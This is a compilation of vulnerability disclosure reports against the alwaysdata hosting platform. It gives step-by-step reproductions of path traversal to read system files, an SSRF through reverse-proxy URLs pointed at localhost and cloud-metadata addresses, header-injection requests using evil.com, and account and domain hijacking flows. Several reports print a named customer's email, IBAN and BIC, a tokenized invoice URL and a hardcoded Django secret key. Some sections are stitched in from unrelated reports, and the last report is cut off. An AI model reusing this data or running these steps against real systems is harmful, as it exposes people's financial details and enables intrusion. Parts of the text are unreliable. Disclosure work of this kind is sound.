Security vulnerabilities

## Description
The Alwaysdata Service feature does not properly restrict the Working Directory to the user's authorized directory. By using directory traversal (`../`) in the Working Directory, an authenticated user can escape the intended directory boundary. The configured service command is then executed from the resulting directory, and its output is returned in the service logs.

The demonstrated impact is unauthorized directory and filename enumeration outside the intended Working Directory.

## CVSS → CVSS v3.1: 5.3 (Medium) → CWE-22 — Path Traversal

## Steps to Reproduce
1. Log in to an Alwaysdata account.
2. Go to Services and create a new service.
3. Set the command to:

ls

4. Set the Working Directory to a traversal path that escapes the authorized directory.

../../
../victim/www
../../root/

5. Start the service.
6. Open the service Logs.
7. Observe that the command executes outside the intended Working Directory and returns directory names that are outside the user's authorized path.

For example, the service logs returned root-level directories including:

alwaysdata
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
nfs
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

## Impact
An authenticated user can bypass the intended Working Directory restriction and:

* Enumerate directories outside the authorized path.
* Obtain filenames and directory names.
* Determine whether specific filesystem paths exist.
* Disclose filesystem structure through service logs.

The demonstrated PoC is limited to directory and filename enumeration. No file contents were accessed or modified.

## Actual Behavior
The Service feature accepts a traversal-based Working Directory and executes the configured command outside the intended directory boundary. The resulting directory contents are disclosed through the service logs.

## Expected Behavior
The Working Directory should remain restricted to the directories authorized for the service. Traversal sequences such as ../ should not allow the resolved path to escape that boundary.

## Proof Of Concept
Drive_Link → https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing

## Summary
An authenticated Alwaysdata user can use path traversal in the Service Working Directory field to escape the intended directory restriction, causing service commands such as ls to execute from unauthorized filesystem locations and disclose directory/file names through service logs.

Thanks

## Summary

When a user tries to create an account at alwaysdata without agreeing to alwaysdata's personal data protection policy, the application displays, “Please click this box if you want to proceed.” Thus, the user must accept alwaysdata's personal data protection policy to create an account. However, this restriction is not properly enforced.

As a result, a user can bypass the restriction and create an account without accepting alwaysdata's personal data protection policy. The exact steps for this bypass are given below.

## Steps To Reproduce

1. Go to: https://www.alwaysdata.com/en/register/?p=2012
2. Try to register an account without agreeing to the personal data protection policy.
3. The application returns: “Please click this box if you want to proceed”. The application enforces the restriction that the user must agree to the personal data protection policy to create an account.
4. Turn on your Burp Suite and configure it properly to intercept all requests.
5. Try to register an account by accepting the personal data protection policy
6. In Burp Suite, intercept the POST request endpoint: /en/register/?p=2012. Observe that the body contains a parameter called “privacy_policy”
7. Change from `privacy_policy=on` to `privacy_policy=off`.
8. Forward the request.
9. The application responds with 302 Found.
10. Verify your email and get access to your account.
11. The account is created successfully without accepting the personal data protection policy.

## Impact

This server-side validation issue allows users to register and access the alwaysdata service without the backend verifying whether the personal data protection policy acceptance requirement has been satisfied or not. As a result, it may create compliance concerns.

## Severity
High (CVSS 3.1: 7.2 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Weakness
CWE-918: Server-Side Request Forgery (SSRF)

## Summary

The "Reverse proxy" site type in the site creation form (`/site/add/`) accepts arbitrary URLs including private/internal IP addresses (127.0.0.1, 169.254.169.254, 10.x.x.x) as the "Remote URL" target. The platform creates an Apache ProxyPass directive proxying all requests to the attacker-specified URL without IP validation. This enables full-read SSRF from the shared hosting server, allowing an attacker to scan internal services, probe localhost ports, and exfiltrate response bodies from any HTTP service reachable from the web server process.

## Steps to Reproduce

Environment: Free hosting account on alwaysdata.com.

1. Log in to the admin panel at `https://admin.alwaysdata.com/login/`.

2. Navigate to the site creation form at `https://admin.alwaysdata.com/site/add/`.

3. Select the "Reverse proxy" site type from the Type dropdown.

4. In the "Remote URL" field, enter an internal IP address or a Collaborator URL:

For external SSRF verification:
```
http://YOUR-COLLABORATOR-ID.oastify.com/ ```

For internal port scanning:
```
http://127.0.0.1:9200/ ```

5. Set a site address (use your assigned subdomain, e.g., `ACCOUNT.alwaysdata.net`).

6. Save the form. The form accepts the URL and creates the site (HTTP 302 redirect).

7. Trigger the SSRF by visiting your site:

```
curl https://ACCOUNT.alwaysdata.net/ ```

8. Observe the result:

1. For external URLs: the Collaborator receives a DNS and HTTP interaction from the alwaysdata infrastructure IP (185.31.41.10). The full response body from the target URL is returned to the attacker.
2. For localhost ports: HTTP 503 indicates the port is closed/down; timeout indicates a firewall block. This differential enables internal port scanning.

## Evidence

Collaborator interaction captured: - DNS query from 185.31.40.97 (alwaysdata DNS resolver)
- HTTP request from 185.31.41.10 (shared web hosting server)
- Request headers: `Via: 1.1 alproxy, 1.1 ACCOUNT.alwaysdata.net`
- Full response body from the target was returned verbatim to the attacker (not blind SSRF)

Internal port scan results: - 127.0.0.1:9200 (Elasticsearch port): HTTP 503 (connection refused - port accessible but service down)
- 127.0.0.1:8500 (Consul port): HTTP 503 (connection refused)
- 169.254.169.254 (cloud metadata): timeout (network-level block present)

## Impact

An authenticated user with a free hosting account can:

1. Scan internal services on the shared hosting node via localhost, identifying running services by port
2. Exfiltrate data from any internal HTTP service reachable from the Apache process, including services that are not exposed to the internet
3. Bypass IP-based access controls that trust the hosting infrastructure's IP range (185.31.x.x)
4. Probe internal network for services on RFC 1918 addresses

The SSRF is full-read (response bodies are returned to the attacker), not blind. The Apache process making these requests runs as a system service, potentially reaching services that individual tenant processes cannot access.

## Root Cause

The "Remote URL" field in the reverse proxy site type does not validate the target URL against a blocklist of private/internal IP ranges. The validation only checks URL scheme (allowing http, https, ftp; blocking gopher, file, dict) but does not verify that the resolved IP address is not a private/loopback/link-local address.

## Remediation

1. Validate the Remote URL against private IP ranges before creating the ProxyPass directive. Block: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7
2. Resolve DNS before validation to prevent DNS rebinding attacks (check the IP AFTER resolution, not just the hostname)
3. Apply the same validation to both initial configuration and Apache runtime (in case of DNS changes after configuration)

Title: Server-Side Request Forgery (SSRF) via Reverse Proxy Configuration

Severity: High — CVSS 7.7

CWE: 918

Overview

The alwaysdata reverse proxy feature accepts arbitrary URLs, including loopback addresses and external destinations, without validating the target IP or domain. This allows authenticated users to cause the server to make HTTP requests to arbitrary destinations.

Vulnerability Details

When configuring a Reverse Proxy site, the url field accepts any URL passing Django's URLValidator. This validator only checks format and does not resolve the hostname, check for internal/loopback destinations, or validate against an allowlist.

As a result, the following are accepted and saved without error:

http://127.0.0.1/

http://localhost/

http://169.254.169.254/

Steps to Reproduce

1. Log in to

https://admin.alwaysdata.com

2. Navigate to Web → Sites and select any site

3. Change Type to Reverse proxy

4. Set Remote URL to

http://127.0.0.1:80/

5. Click Save — receives

302 Found

(no validation error)

6. Visit the site's public URL

7. The server proxies the request to the loopback address

Out-of-Band Verification:

Set the Remote URL to a webhook.site URL, save, and visit the site. The webhook receives:

GET /your-webhook-id HTTP/1.1
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net
user-agent: python-requests/2.25.1

Evidence

Claim 1 — Loopback URL accepted:

Request:

POST /site/{site_id}/ HTTP/2
Host: admin.alwaysdata.com

type=reverse_proxy&url=http://127.0.0.1:80/

Response:

HTTP/2 302 Found
Location: /site/

Claim 2 — Server makes outbound requests to user-controlled URLs:

Webhook.site received:

Source IP: 2a00:b6e0:1:20:20::1 (Paris, France — alwaysdata infrastructure)
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net

Impact

- Internal service discovery — attacker can probe internal ports and services
- Cloud metadata access —

169.254.169.254

reachable (AWS/GCP instance metadata)
- Information disclosure — internal responses can be exfiltrated via outbound requests

Note: Internal service access is indicated but not definitively confirmed. The above represent potential impact based on confirmed URL acceptance.

Remediation

Add a custom validator that resolves the destination hostname and rejects private IP ranges:

import socket, ipaddress
from urllib.parse import urlparse

def validate_proxy_url(value):
    parsed = urlparse(value)
    try:
        ip = socket.gethostbyname(parsed.hostname)
    except socket.gaierror:
        raise ValidationError("Invalid hostname")

    blocked = [
        '127.0.0.0/8', '10.0.0.0/8',
        '172.16.0.0/12', '192.168.0.0/16',
        '169.254.0.0/16', '::1/128'
    ]
    ip_obj = ipaddress.ip_address(ip)
    for net in blocked:
        if ip_obj in ipaddress.ip_network(net):
            raise ValidationError("Internal addresses not allowed")
    return value

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N — Score: 7.7 (High)

References

- CWE-918: Server-Side Request Forgery
- OWASP SSRF Prevention Cheat Sheet

Summary
During a security assessment of the api.alwaysdata.com API, a Server-Side Request Forgery (SSRF) vulnerability was identified in the GET /v1/site/doc/?9detl8s0ik=1 endpoint. This vulnerability allows an attacker to manipulate internal server requests and potentially interact with internal services that should not be exposed to the public. _

Vulnerability Details:
Endpoint: GET /v1/site/doc/?9detl8s0ik=1
Host: api.alwaysdata.com
Vulnerability Type: Server-Side Request Forgery (SSRF)
Severity: High

request:
GET /v1/site/doc/?9detl8s0ik=1 HTTP/1.1
Host: api.alwaysdata.com
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Referer: https://api.alwaysdata.com/doc/
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Forwarded-Server: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com

response: 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site</a>
...

Impact
The application is processing the values of X-Forwarded-Host and related headers without proper validation or sanitization. This allows an attacker to manipulate server requests and potentially:

- Access internal services.
- Bypass IP restrictions.
- Enumerate internal infrastructure.
- Perform further attacks like internal port scanning or exploiting internal APIs.

Proof of Concept (PoC) By setting the X-Forwarded-Host header to a Burp Collaborator or OAST domain, I was able to confirm that the server included this manipulated domain in its internal requests and reflected it in the response.

Example:
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com

The response included:
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">...</a>

This confirms the application made a server-side request using the attacker-controlled input.

Recommendations:
- Do not trust client-supplied headers such as X-Forwarded-Host, X-Host, and X-Forwarded-Server.

Bug Theory
Server Security Misconfiguration happens when an app exposes sensitive functionality without proper controls. In this case, the platform allowed account deletion without any password confirmation, which is a clear misstep in authentication logic.

Even though the user is logged in, critical actions like deleting an account should always require re-authentication to prevent abuse via stolen sessions, CSRF, or insider misuse.

Step
Navigated to the Account Settings after logging in as a regular user.
Clicked on “Delete Account”.
✅ Expected : The application should prompt the user to re-enter their account password, or at least send an OTP/email confirmation before deleting the account.
❌ ActualThe account was deleted instantly without any verification — just a single click and the user data was gone.

That’s it. No alerts. No hesitation.

Business Context Impact
Because this platform is used to coordinate offline car transactions, accounts are tied to:

Active car listings
Buyer/seller chat history
Scheduled meetings or test drives
Deleting an account disrupts the entire transaction process, damages user trust, and may result in financial losses or wasted in-person efforts.

Description

I identified a vulnerability in the SSH function of admin.alwaysdata.com, where the home directory setting is vulnerable to server path traversal.

Proof-of-Concept

1. Login to your account and visit https://admin.alwaysdata.com/ssh

2. Edit the home directory from '/' to '/../../../../../../'

3. Next, save the settings and login to your SSH shell. Type ls. You'll discover your path has been traversed.

4. Access the /alwaysdata/etc/passwd folder to view the admin superusers. More information of other users are also available throughout the server.

For example;

/var/lib/extrausers/passwd shows all the other registered users on the server.

/usr/lib/python3/dist-packages/fail2ban/tests/files/logs/postfix display failban logs.

Other interesting files;

/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd

/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/digest_wrongrelm/.htpasswd

Mitigation

Restrict access to any parent directory, other than the container being run.

While testing the admin panel, I noticed that sending any request with an `@` character in the `X-Forwarded-Host` header causes a 500 Internal Server Error:

```
GET / HTTP/1.1
Host: admin.alwaysdata.com
X-Forwarded-Host: admin.alwaysdata.com@evil.com ```

Response: 500 Internal Server Error

This is reproducible on every endpoint (`/`, `/login/`, `/password/lost/`, `/support/`). Any form of `@` in the XFH triggers it — `evil@admin.alwaysdata.com`, `@evil.com`, `admin.alwaysdata.com:443@evil.com` all work.

The 500 error page does not include `Cache-Control` headers, while normal responses include `Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private`. If there is any caching layer between the client and the Django application (Varnish, CDN, nginx proxy_cache), this could be turned into a cache-poisoning denial-of-service — an attacker sends the poisoned request, the 500 gets cached, and all subsequent users see the error page.

The likely cause is Django's `get_host()` method (with `USE_X_FORWARDED_HOST = True`) choking on the `@` character during `ALLOWED_HOSTS` validation. This should raise a `SuspiciousOperation`/`DisallowedHost` and return a 400, not a 500.

### Severity

Low. Denial of service, no data exposure. But the missing cache-control headers on the error response are worth fixing regardless.

—

## Remediation Steps

1. Validate `vhost_additional_directives` — Implement an allowlist of permitted Apache directives. At minimum, block: `Alias`, `ProxyPass`, `ProxyPassReverse`, `Options`, `AddHandler`, `AddOutputFilter`, `Include`, `Action`, `Script`, `SetHandler`, `<Directory>`, `<Location>`, and any directive that can read files, proxy connections, or execute code.

2. Fix /tmp isolation — Ensure each tenant's processes use a private `/tmp` (e.g., via `PrivateTmp=yes` in systemd, or mount namespaces). The  FS#363  fix should be re-evaluated.

3. Handle `@` in X-Forwarded-Host — Add input validation for the XFH header before it reaches Django's `get_host()`. Return 400 for malformed hosts. Add `Cache-Control: no-store` to all error responses.

## Steps to Reproduce

### Step 1 — Send request with @ in X-Forwarded-Host

```http
GET /login/ HTTP/1.1
Host: admin.alwaysdata.com
X-Forwarded-Host: admin.alwaysdata.com@evil.com ```

Response:

```http
HTTP/1.1 500 Internal Server Error
Server: nginx
Content-Type: text/html
```

No `Cache-Control`, no `Content-Security-Policy`, no `X-Content-Type-Options`, no `Referrer-Policy`.

### Step 2 — Compare with normal response headers

Normal response:

```http
HTTP/1.1 200 OK
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
```

Error response: All security headers missing.

### Step 3 — Verify all @ positions trigger the crash

X-Forwarded-Host value Result
———————— ——–
`admin.alwaysdata.com@evil.com` 500
`evil@admin.alwaysdata.com` 500
`@evil.com` 500
`admin@evil` 500
Every variant containing `@` triggers the crash.

## Root Cause

Django's `HttpRequest.get_host()` processes the `X-Forwarded-Host` header (because `USE_X_FORWARDED_HOST = True`). The `@` character is interpreted as a URL userinfo separator, causing the URL parsing to fail with an unhandled exception instead of triggering the `DisallowedHost` handler (which returns a clean `400 Bad Request`).

Thanks

Description:
The invoice issued by AlwaysData contains sensitive personal and financial information, which is publicly accessible through a web archive. This includes:

Personal details of the customer (Name: Simon Amour, Email: simondiligues@outlook.com).
Banking information such as the IBAN and BIC codes.
The invoice total and payment details.

Steps to Reproduce:
1.Access the : https://web.archive.org/web/20220713065916/https://admin.alwaysdata.com/billing/337102/pdf/?user_id=150041&token=1657692793-a13e927142b2d5d7f427

2.View the invoice, noting that it contains unredacted sensitive information, such as:
IBAN: FR76 1027 8060 4100 0205 8810 110
BIC: CMCIFR2A
Customer's Full Name: Simon Amour
Customer’s Email: simondiligues@outlook.com

3.The invoice is accessible without authentication, allowing any user to view it.

Impact:
This exposure of sensitive financial information could lead to identity theft, fraud, and financial loss. Unauthorized access to such data can also result in reputation damage for both the service provider (AlwaysData) and the customer (Simon Amour).

Suggested Remediation:
Remove the exposed document from the public web archive immediately.
Redact sensitive details such as IBAN, BIC, and personal information from invoices before uploading them to any public platform.
Implement access control mechanisms so that sensitive data is only accessible by authorized users.
Regularly audit publicly accessible data and ensure no personal or sensitive information is exposed.

Summary:
An accessible phpinfo page at https://net2ftp.alwaysdata.com/skins/php.php discloses detailed configuration information about the PHP environment. This information can be leveraged by attackers to identify potential vulnerabilities, misconfigurations, and outdated software components.

Details:

PHP Version: 5.6.40
System Information:
Operating System: Linux (kernel version 6.6.30-alwaysdata)
Server API: CGI/FastCGI
Configuration Exposure:
Paths to configuration files (php.ini) and directories
Enabled/disabled PHP functions and security settings (e.g., disable_functions, open_basedir)
Loaded extensions and their versions
Environment details such as server API and build dates
Steps to Reproduce:
Navigate to the URL: https://net2ftp.alwaysdata.com/skins/php.php Observe that the page displays comprehensive PHP configuration details.
Impact:
Information Disclosure: The exposed details provide attackers with insights into the server configuration, which could be used to tailor further attacks.
Risk of Exploitation:
-Identification of outdated software (PHP 5.6.40 is no longer supported and may have known vulnerabilities).
-Knowledge of disabled functions and active extensions can assist in formulating targeted exploitation strategies (e.g., leveraging known vulnerabilities in specific extensions or misconfigurations).
-Potential Follow-on Attacks: While phpinfo itself is not a direct vulnerability, the information disclosed could aid in other attacks, such as Local File Inclusion (LFI) or Remote Code Execution (RCE), if combined with other weaknesses.
Severity:
Risk Level: High the server also runs outdated or unpatched components and the phpinfo page is publicly accessible without any authentication or access control.
Recommendations:
-Restrict Access:
Remove or restrict access to the phpinfo page from the public internet. Consider using authentication or IP whitelisting if the page is needed for internal diagnostics.
-Update PHP:
Upgrade to a supported and secure version of PHP to mitigate potential exploits that target known vulnerabilities in PHP 5.6.40.
-Harden Configuration:
Ensure that sensitive functions (e.g., exec(), shell_exec()) are disabled if not necessary.
Review and adjust settings such as open_basedir to limit access to the file system.

Report Summary:
I discovered a potential security issue where sensitive data is accessible via a URL archived by the Wayback Machine. The URL exposes an invoice containing personal and financial information, which could be misused if accessed by unauthorized individuals.

Details of the Issue:

1.Source of URL: Wayback Machine (Internet Archive)

2.URL: https://admin.alwaysdata.com/billing/337102/pdf/?user_id=150041&token=1657692793-a13e927142b2d5d7f427

3.Exposed Data:

4.Personal Information: Name (Simon Amour), email address (simondiligues@outlook.com).

5.Financial Information: Invoice amount (€100.00), bank account details (IBAN: FR76 1027 8060 4100 0205 8810 110, BIC: CMCIFR2A).

6.Service Details: Public Cloud service (10 GB) for the period 13/07/2022 to 27/07/2023.

7.Reference Numbers: Invoice reference (220713337102), user ID (150041), and token (1657692793-a13e927142b2d5d7f427).

Steps to Reproduce:

1.Access the URL via the Wayback Machine.

2.The PDF invoice containing sensitive data is directly accessible without additional authentication.

Impact:
This issue could lead to unauthorized access to sensitive personal and financial information, potentially resulting in identity theft, financial fraud, or other malicious activities. The fact that this data is archived on a public service like the Wayback Machine increases the risk of exposure.

A PDF file containing bank account details and sensitive codes is publicly accessible without authentication. This exposure poses a high risk as it could lead to financial fraud, identity theft, or unauthorized transactions.

Steps To Reproduce:

  Locate the exposed PDF file:
      Access the file directly via the URL:

  https://share.alwaysdata.com/IBAN.pdf ,https://static.alwaysdata.com/docs/IBAN.pdf

  No authentication is required to view the pdf .

Confirm sensitive data exposure:

  Open the PDF and verify that it contains:
      Bank account number
      Sensitive codes BIC (Bank Identifier Code)

Impact:

🔴 Severity: High

  Financial Risk: Attackers could misuse exposed bank details for fraudulent transactions or identity theft.
  Compliance Violation: The exposure may violate GDPR, PCI DSS, and financial security policies.
  Reputation Damage: If exploited, this could lead to customer trust loss and regulatory fines.

Recommendation:

Restrict Access: Implement authentication & access control for sensitive files.
Disable Directory Listing: Prevent public file browsing on the server.
Remove Exposed Files: Securely delete or relocate sensitive PDFs.
Use Robots.txt & No-Index Headers: Prevent search engines from indexing sensitive documents.
Supporting Material/References:

  Exposed URL :https://share.alwaysdata.com/IBAN.pdf
               https://static.alwaysdata.com/docs/IBAN.pdf

Severity: High
Due to public exposure of credentials, cryptographic secrets, and insecure runtime configurations.

Affected Component:
Django application configuration file: settings.py
Public GitHub repository (source code exposure)

Vulnerability Summary:
The application’s Django configuration file (settings.py) contains multiple sensitive secrets and insecure configurations that are publicly accessible via a GitHub repository. These include:
Hardcoded database credentials (username & password)
External database host information
Hardcoded Django SECRET_KEY
Debug mode enabled (DEBUG = True)
Although some configurations are commented, they are still exposed to anyone with access to the repository, which represents a serious security risk.

Description:
The Django SECRET_KEY, which is used for cryptographic signing and session security, is hardcoded in a publicly accessible repository.
SECRET_KEY = 'django-insecure-yt()50-c2ul547)8_eu$%@o7)-w=aj809ocuparihd#b+)_70w'

MySQL Database Credentials (Critical)

# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.mysql',
# 'NAME': 'secu_bdd',
# 'USER': 'secu',
# 'PASSWORD': '<REDACTED>',
# 'HOST': 'mysql-polytech.alwaysdata.net',
# 'PORT': '3306',
# }
# }

Githuh Url: https://github.com/<REDACTED>
( you can check it

Also i have attached some pictures of it you can check it…..

Impact:
Unauthorized database access
Disclosure of sensitive user data
Data modification or deletion
Potential full application compromise
High likelihood of credential reuse across environments

Subject: Business Logic Flaw

Dear Security Team,

I trust this message finds you well in safeguarding our digital domain. I have successfully conducted a penetration test and am pleased to present the detailed findings in the attached report below.

Vulnerability Details:

Type: Business Logic Flaw
Severity: Medium
Vulnerable Endpoint: https://admin.alwaysdata.com/admin/account/add/ Description: The vulnerability enables attackers to bypass the restriction limiting the creation of only one Free Public Cloud (100MB). By exploiting this vulnerability, known as a race condition, an attacker can create more than 1 instances of the Free Public Cloud (100MB), potentially leading to resource abuse and unauthorized usage.

Reproduction Steps:
Log into the attacker’s account.
Remove all previous accounts from the attacker’s main account.
Attempt to add 2 Free Public Cloud (100MB), which will fail due to the existing function limitation.
To bypass this limitation, delete all Free Public Cloud (100MB) instances and capture the request to add a Free Public Cloud (100MB) using BurpSuite.
Duplicate the captured request in multiple tabs and modify the account names in each request.
Group all the requests and configure them to be sent in parallel (Single Packet Attack) in BurpSuite.
This will result in the addition of more than one Free Public Cloud (100MB).
Proof Of Concept:

Image & video-based POC is connected to the email.

Impact:

The impact of this vulnerability is significant as it allows attackers to bypass restrictions and manipulate the system to their advantage. By exploiting this flaw, attackers can create multiple instances of the Free Public Cloud (100MB), despite the intended limitation of only one. This can lead to several adverse consequences

Mitigations:
Increased resource usage and financial losses.
Risks of data breaches and damage to reputation.

NOTE: THESE ATTACKS HAVE BEEN DONE WHILE KEEPING SERVER’S SECURITY IN MIND, ENSURING THAT THE SERVER DOES NOT INCUR ANY DAMAGE. THIS ATTACK HAS BEEN PERFORMED WITH CAUTION.

Regards,
Zeeshan Beg

Google Drive POC Link : https://drive.google.com/file/d/1qz6s7g6l1dYsF1aq3PpAoIyzeodZTUBx/view?usp=sharing

Vulnerability Name: Email verification bypass on https://admin.alwaysdata.com/

Steps To Reproduce:
1. Create an account with attacker controlled email like nathanlion1983@gmail.com 2. Verify the email. Go to the accounts page https://admin.alwaysdata.com/admin/details/ 3. Now, change personal details and change the email to victim's email alexandrafredrique@gmail.com 
4. It will update the email without asking for any email verification this time, so the sign up is protected with email verification but the internal section doesn't ask for email verification before changing the email.
5. Now what an attacker can do is, add another user(controlled by him) or create access token in this account, and these will give him persistent access of this account, and whenever in future the user comes and uses the account after recovery the attacker will have access to the account with access tokens/the user added by him which has full access.

Proof Of Concept: (How can we add the screenshots as POC, we don't see any option to upload photos)

Impact: CVSS : 9.1Integrity & Confidentiality: attacker can do anything on this account impersonating the user which impacts confidentiality. Can also add things which will be consistent in the account, which results in persistent access which impacts integrity of the account.Similar email verification bypass reports are - https://hackerone.com/reports/617896 https://hackerone.com/reports/1040047 (but the mentioned reports doesn't have persistent access, these only demonstrate email verification bypass, thus our vulnerability is Critical and the mentioned are High)

Mitigation: The backend is trusting the email after email change, as the account was already verified  at account creation, but it needs to ask for email verification at the email change stage as well, otherwise no point putting email verification at registration.

Vulnerability Description:

A vulnerability was discovered in Alwaysdata's domain and email management system, allowing an attacker to maintain an active session even after deleting their account. This vulnerability can be exploited through email domain reuse in Webmail, enabling an attacker to gain access to newly created email accounts without needing to steal login credentials.

Exploitation Steps:

1. The attacker adds the domain evil.com to their Alwaysdata account.

2. They create an email address admin@evil.com via Webmail (webmail.alwaysdata.com).

3. The attacker logs into Webmail and saves the session.

4. They delete their Alwaysdata account, but the Webmail session remains active.

5. A new user adds evil.com to their Alwaysdata account and creates the same email admin@evil.com.

6. Once the new user logs into Webmail, the attacker still has access to the email since their session remains active!

Proof of Concept (PoC) Provided: https://admin.alwaysdata.com/support/85071/

Impact of the Vulnerability:

Modification of email settings.

Wide-scale exploitation: The attacker can repeat the process with multiple domains, allowing them to gain control over different email accounts.

Recommendations to Fix the Vulnerability:

1. Terminate all active sessions immediately when an account is deleted or a domain is removed.

2. Link sessions to the user account instead of just the domain to ensure sessions do not transfer between different users.

This vulnerability poses a serious threat to user privacy and account security, and we strongly recommend fixing it as soon as possible.

Vulnerability Description:

A vulnerability has been discovered in Alwaysdata's email management system that allows an attacker to retain an active Webmail session even after the associated email address has been renamed in the control panel. This issue enables unauthorized access to the previous email identity and settings, potentially allowing an attacker to maintain control without the new user's awareness.

—

Steps to Reproduce:

1. The attacker adds a custom domain (e.g., test.com) to their Alwaysdata account.

2. They create an email address like admin@test.com and log in to Webmail (webmail.alwaysdata.com), keeping the session active.

3. The attacker then goes to the control panel (admin.alwaysdata.com) and renames the email address to something else (e.g., info@test.com) and saves the changes.

4. Although admin@test.com no longer exists in the interface, its Webmail session remains active.

5. The attacker deletes the domain test.com from their account.

6. The Webmail session for admin@test.com is still valid, and the attacker can access and modify email settings.

—Proof of Concept (PoC) Provided: https://admin.alwaysdata.com/support/86544/

Impact of the Vulnerability:

Modification of email settings.

Wide-scale exploitation: The attacker can repeat the process with multiple domains, allowing them to gain control over different email accounts.

Recommendations to Fix the Vulnerability:

1. Terminate all active sessions immediately when an account is deleted or a domain is removed.

2. Link sessions to the user account instead of just the domain to ensure sessions do not transfer between different users.

This vulnerability poses a serious threat to user privacy and account security, and we strongly recommend fixing it as soon as possible.

## Security Report: On click Mark all notifications as read in [admin.alwaysdata.com]

Description

When a specific link is sent to another user and clicked, it causes all their notifications to be marked as read

### Steps to Reproduce

1. Log into your account on [admin.alwaysdata.com].
2. Send the link to the user. [https://admin.alwaysdata.com/message/toggle/]
3. The recipient clicks on the link.

All notifications for the user who clicks the link are marked as read.

##POC: https://admin.alwaysdata.com/support/77431/379620-bandicam%202024-09-20%2018-30-42-910.mp4

## Impact

Users may lose track of important notifications. In addition, it raises concerns about the security and integrity of user account management, as an attacker could exploit this vulnerability to manipulate notification statuses.

To: Alwaysdata Security Team
From: Mustafa
Date: [17 April 2025]

I would like to clarify that this vulnerability is completely different from the one reported in Report #151. In this case, the subscription account transfer invitation is sent first, followed by the domain transfer invitation while waiting for acceptance, which allows the exploitation of an unprotected time gap.

I also confirm that the vulnerability reported in Report #151 has been fixed.

Please review the details below.

–

### Executive Summary
A critical security vulnerability (High Risk) has been identified in Alwaysdata's domain and site and subscription account management system. This flaw allows an attacker to hijack a victim's domain without their knowledge by exploiting the account invitation transfer mechanism. Immediate action is required due to its direct impact on user data confidentiality and integrity.

—

### Vulnerability Details
#### Exploitation Mechanism
1. Attacker Setup:

1. Account A: Used to send a subscription account transfer invitation to the victim (Account C).
2. Account B: Used to receive a domain transfer invitation from Account A.

2. Attack Steps:

1. Account A sends a subscription account transfer request to Victim C.
2. Simultaneously (or before C accepts), Account A sends a domain transfer request to Account B.
3. When Victim C accepts the subscription transfer, they believe they now own the domain and associated data.
4. Meanwhile, the domain transfer request to Account B remains pending, invisible to C.
5. After C adds sensitive data (emails, mailing lists, configurations), Account B accepts the domain transfer, seizing full control.

#### Why Is This Critical?
- The victim receives no warning about pending domain transfer requests.
- The attacker can choose the timing of the takeover (e.g., waiting until the victim adds critical data).
- All domain-linked services (email, websites, Mailman lists) become compromised.

—POC: https://admin.alwaysdata.com/support/86381/

### Impact Assessment
- High Risk per OWASP/CVE standards:

1. Privacy Breach: Theft of emails and user data.
2. Ownership Hijacking: "Legitimate-looking" domain transfer without user consent.
3. No Traceability: The victim remains unaware until irreversible damage occurs.

—

### Proof of Concept (PoC)
- The scenario is practical and replicable in Alwaysdata's live environment.
- Requires minimal technical skill, only exploiting the timing gap in transfer requests.

—

### Recommended Fixes
1. Transfer Mechanism Patch:

1. Block concurrent transfer requests (subscription + domain) for the same account.
2. Add a conflict check before approving any transfer.

2. User Notifications:

1. Immediately alert users of pending domain transfer requests.
2. Show a clear warning during subscription transfers if a domain transfer is pending.

3. Grace Period:

1. Implement a 24-hour delay for domain transfers with repeated owner notifications.

4. Retroactive Audit:

1. Review past domain transfers for suspicious activity.

—

### Conclusion
This vulnerability severely undermines user trust and poses legal/financial risks. We urge treating it as a P1 priority and transparently informing users of security updates.

Security Report: Disclosure of Two-Factor Authentication Status in [admin.alwaysdata.com]

Summary:

A vulnerability exists where the two-factor authentication (2FA) status of a user account can be determined by adding the user as an administrator to your account. This issue exposes whether the user has 2FA enabled or not.

Steps to Reproduce:

1. Attempt to Log In with Incorrect Credentials:

1. Start by trying to log in with incorrect credentials. This demonstrates that you cannot determine whether 2FA is enabled based on the failed login attempt alone.

2. Observe the Failed Login Behavior:

1. Note that with incorrect login credentials, it is not possible to ascertain the 2FA status of the user account.

3.You can't know that the account has activated two-factor authentication until you provide the correct credentials and then it will transfer you to the next stage where you will be asked for the two-factor authentication number

4. Add the User as an Administrator:

1. Add the user in question as an administrator to your account.
